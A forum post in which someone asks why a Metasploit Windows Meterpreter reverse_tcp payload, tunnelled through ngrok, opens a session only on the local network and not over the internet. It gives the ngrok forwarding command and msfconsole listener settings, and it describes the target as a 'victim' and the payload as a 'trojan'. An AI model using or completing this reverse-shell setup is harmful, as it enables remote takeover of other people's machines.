Hi guys, I've been struggling with Kali Linux WAN hacking for a time. My router has virtual server settings but doesn't support port forwarding so I got hands on ngrok. Ngrok works great but I want to run it on a different machine.
First know that I will be using here three different network connections; 1. my home wifi connection on which I have kali linux, 2. ethernet connection on which I ran ngrok, 3.mobile hotspot connection on my another computer (to get a wan situation like a victim computer).
I ran ngrok on windows maching with network no 2(ethernet connection) using the auth key of my ngrok account with command:
ngrok tcp 192.168.xxx.xxx:4444 (here the IP I used was inet address which I got from ifconfig wlan0 in kali linux )
Then I created a windows payload on kali linux with LHOST=(ngrok ip, got it from pinging the ngrok address) and LPORT=4444. After creating payload I transferred it to my computer with network no 3 ( nother-different computer connected to my mobile hotspot note: not the computer on which I ran ngrok)
Finally I opened msfconsole and ran the following commands:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.xxx.xxx(the same inet address of kali linux which I used in ngrok for forwarding)
set LPORT 4444
Then I ran the trojan payload on my computer running on network 2(mobile hotpsot), and it didn't work. No session opened. Then I changed the network from hotspot to my home internet (wifi, network # 1, the same net on which I run kali linux) and guess what? It worked. A session opened but this is LAN.. isn't it?
I want WAN hacking to be done. I don't know were I did wrong. Can anyone please solve this mystery for me. Maybe I'm supposed to use my wan ip or gateway ip, I don't know. Can anyone help ??